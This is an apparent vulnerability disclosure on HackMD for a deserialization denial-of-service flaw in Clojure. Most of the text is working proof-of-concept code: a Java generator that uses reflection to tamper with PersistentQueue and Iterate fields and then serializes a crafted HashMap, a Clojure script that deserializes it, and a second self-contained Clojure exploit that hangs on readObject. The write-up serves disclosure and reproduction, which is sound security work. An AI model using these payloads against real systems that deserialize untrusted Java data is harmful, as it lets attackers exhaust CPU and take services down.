Try   HackMD

Vulnerability Details - Clojure Denial of service attack by Deserialization

Vulnerability Description

Under org.clojure:clojur (1.2.0 - 1.12.0-alpha5), there exists a denial of service attack initiated through deserialization. By constructing appropriate objects, continuous hashcode calculations can be initiated.

core$partial$fn__5920 is actually obtained by reading the jar file, and I am not very familiar with Clojure.

The discovery of this vulnerability was made using a private tool, but due to a lack of knowledge in Clojure.

Verification Demonstration

gtimeout 30s /Library/Java/JavaVirtualMachines/zulu-11.jdk/Contents/Home/bin/java -classpath /Users/fe1w0/.m2/repository/org/clojure/clojure/1.12.0-alpha5/clojure-1.12.0-alpha5.jar:/Users/fe1w0/.m2/repository/org/clojure/spec.alpha/0.3.218/spec.alpha-0.3.218.jar:/Users/fe1w0/.m2/repository/org/clojure/core.specs.alpha/0.2.62/core.specs.alpha-0.2.62.jar clojure.main /Users/fe1w0/Project/Poc/PocALL/src/main/clojure/poc/clojure/dos.clj

Vulnerability demo - triple speed

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Verification Script

Serialization Data Generation Script

package poc.clojure.dos;

import clojure.core$gen_class;
import clojure.core$partial$fn__5920;
import clojure.lang.ArraySeq;
import clojure.lang.Iterate;
import clojure.lang.PersistentQueue;
import clojure.lang.PersistentVector;
import org.apache.commons.lang3.reflect.FieldUtils;

import java.io.*;
import java.util.HashMap;

/**
 * @author fe1w0
 * @date 2024/1/9 23:45
 * @Project PocALL
 */
public class GenData {

    public static void main(String[] args) throws IllegalAccessException {

        HashMap<PersistentQueue, Object> map = new HashMap<>();

        PersistentQueue model = PersistentQueue.EMPTY;

        FieldUtils.writeField(model, "r", PersistentVector.EMPTY, true);

        FieldUtils.writeField(model, "_hash", 1, true);

        HashMap<String, String> gen_map = new HashMap<>();

        gen_map.put("xyz.xzaslxr", "fe1w0");

        core$partial$fn__5920 proxy = new core$partial$fn__5920(new core$gen_class(), gen_map);

        Iterate iterate = (Iterate) Iterate.create(proxy, new HashMap<>());

        Iterate control_first = iterate;

        FieldUtils.writeField(model, "f", ArraySeq.create(control_first), true);

        map.put(model, null);

        FieldUtils.writeField(model, "_hash", 0, true);

        try {
            FileOutputStream fileOut = new FileOutputStream("output/dos-clojure.ser");
            ObjectOutputStream out = new ObjectOutputStream(fileOut);
            out.writeObject(map);
            out.close();
            fileOut.close();
            System.out.println("Serialized data is saved in output/dos-clojure.ser");
        } catch (IOException i) {
            i.printStackTrace();
        }
    }
}

Clojure DeSerialization Script

(ns poc.clojure.dos)

(defn deserialize-obj [filename]
  (with-open [inp (-> (java.io.File. filename) java.io.FileInputStream. java.io.ObjectInputStream.)]
    (.readObject inp)))

(deserialize-obj "/Users/fe1w0/Project/Poc/PocALL/output/dos-clojure.ser")

Other Way

This way will affect versions from 1.2.0 - 1.12.0.

Links(Taking from Eugene Pakhomov):

(ns poc.clojure.ask)

(let [out (java.io.ByteArrayOutputStream.)
      obj-out (java.io.ObjectOutputStream. out)
      i (iterate identity nil)]
  (doto (-> i (class) (.getSuperclass) (.getDeclaredField "_hash"))
    (.setAccessible true)
    (.set i (int 1)))
  (.writeObject obj-out (java.util.HashMap. {i nil}))
  (println "Writing is done. Reading...")
  (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
        obj-in (java.io.ObjectInputStream. in)]
    (.readObject obj-in)
    (println "Will never be printed.")))